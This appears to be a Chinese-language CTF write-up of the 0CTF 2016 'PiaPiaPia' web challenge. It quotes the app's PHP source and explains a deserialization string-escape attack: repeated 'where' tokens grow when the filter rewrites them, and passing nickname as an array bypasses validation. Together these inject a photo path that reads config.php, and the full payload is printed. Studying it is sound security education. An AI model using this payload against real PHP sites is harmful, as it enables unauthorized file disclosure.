0CTF 2016

0x01 0CTF 2016 PiaPiaPia

进入是一个登入界面,试了几个万能密码都没有用,也没有报错之类的

扫描网站目录有/www.zip源码泄露

找了一下config里有flag但是是空的,看来是要想办法读/config.php了

有注册页,看下注册逻辑,跟进在class.php里

    public function register($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);

        $key_list = Array('username', 'password');
        $value_list = Array($username, md5($password));
        return parent::insert($this->table, $key_list, $value_list);
    }

这里有个filter

    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

过滤了单引号,双斜杠,'select', 'insert', 'update', 'delete', 'where'

先试着注册一个账号,提示要填写profile,看下这部分逻辑

    if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

        $username = $_SESSION['username'];
        if(!preg_match('/^\d{11}$/', $_POST['phone']))
            die('Invalid phone');

        if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
            die('Invalid email');

        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');

        $file = $_FILES['photo'];
        if($file['size'] < 5 or $file['size'] > 1000000)
            die('Photo size error');

        move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
        $profile['phone'] = $_POST['phone'];
        $profile['email'] = $_POST['email'];
        $profile['nickname'] = $_POST['nickname'];
        $profile['photo'] = 'upload/' . md5($file['name']);

        $user->update_profile($username, serialize($profile));
        echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
    }

看到一个serialize(),看一下有没有反序列化

注意到

$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

应该就是想办法利用$profile['photo']读出config.php了

直接在photo里搞肯定是不行的,注意到nickname是可控的

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');

preg_match和strlen可以利用数组形式绕过

这里利用的是php反序列化长度变化尾部字符串逃逸

对于unserialize()而言,这个函数会忽略能够正常序列化的字符串后面的字符串

我们的目的是构造

s:5:"photo";s:10:"config.php";}

但是生成的序列化对象会检验长度,怎么办呢

注意到

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);

where->hacker 5->6 每写一个where多一个字符,

这里我们多构造的是"};s:5:"photo";s:10:"config.php";} 一共34个字符因为nickname是数组所以前要补}

nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"[email protected]";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

参考资料

php利用数组绕过的总结:

https://www.jianshu.com/p/8e3b9d056da6?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

© Eki's CTF-notes 2019-2020 CC-by-nc-sa 4.0。 all right reserved,powered by Gitbook本网站最后修订于: 2021-03-09 16:35:16

results matching ""

    No results matching ""